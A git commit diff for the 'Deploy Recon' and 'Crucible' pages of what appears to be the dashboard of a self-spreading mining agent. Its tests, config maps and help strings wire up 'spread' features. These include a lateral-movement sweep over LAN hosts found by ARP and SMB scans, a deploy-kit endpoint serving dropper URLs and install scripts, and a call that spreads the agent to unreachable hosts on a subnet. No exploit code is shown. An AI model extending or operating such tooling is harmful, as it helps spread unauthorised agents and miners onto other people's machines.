Polish Deploy Recon page scan UX and Crucible cross-links.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -9,6 +9,16 @@ import {
|
||||
} from './deployRecon';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
describe('crucibleSpreadLink', () => {
|
||||
it('builds reconHost spread tab URL', () => {
|
||||
expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread');
|
||||
});
|
||||
|
||||
it('includes finding when provided', () => {
|
||||
expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployRecon helpers', () => {
|
||||
it('maps scan form to API body', () => {
|
||||
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
||||
@@ -55,8 +65,4 @@ describe('deployRecon helpers', () => {
|
||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||
});
|
||||
|
||||
it('crucible spread link encodes host and tab', () => {
|
||||
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
|
||||
@@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
||||
gridDrift: 90,
|
||||
palette: 'dim',
|
||||
},
|
||||
'/deploy-recon': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.7,
|
||||
speed: 0.48,
|
||||
pulse: 1.1,
|
||||
density: 0.82,
|
||||
linkStrength: 0.65,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 11,
|
||||
gridDrift: 42,
|
||||
palette: 'campaign',
|
||||
},
|
||||
'/browser-spread': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.7,
|
||||
speed: 0.48,
|
||||
pulse: 1.1,
|
||||
density: 0.82,
|
||||
linkStrength: 0.65,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 11,
|
||||
gridDrift: 42,
|
||||
palette: 'campaign',
|
||||
},
|
||||
};
|
||||
|
||||
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
||||
|
||||
@@ -148,6 +148,8 @@ describe('FIELD_HELP', () => {
|
||||
'forge_operation_mode',
|
||||
'forge_path_forge',
|
||||
'aws_erasure_swarm',
|
||||
'recon_deploy_kit',
|
||||
'fleet_spread_to_host',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
|
||||
@@ -200,4 +200,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
aws_erasure_swarm:
|
||||
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
||||
recon_deploy_kit:
|
||||
'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
|
||||
fleet_spread_to_host:
|
||||
'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
|
||||
};
|
||||
|
||||
@@ -98,6 +98,8 @@ describe('UI_HELP', () => {
|
||||
'ew_war_room_leak',
|
||||
'ew_cloud_aws',
|
||||
'ew_cloud_generic',
|
||||
'ew_crucible_recon_link',
|
||||
'crucible_recon_host',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
|
||||
@@ -200,6 +200,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
||||
ew_cloud_generic:
|
||||
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
||||
ew_crucible_recon_link:
|
||||
'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.',
|
||||
|
||||
crucible_recon_host:
|
||||
'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
|
||||
Reference in New Issue
Block a user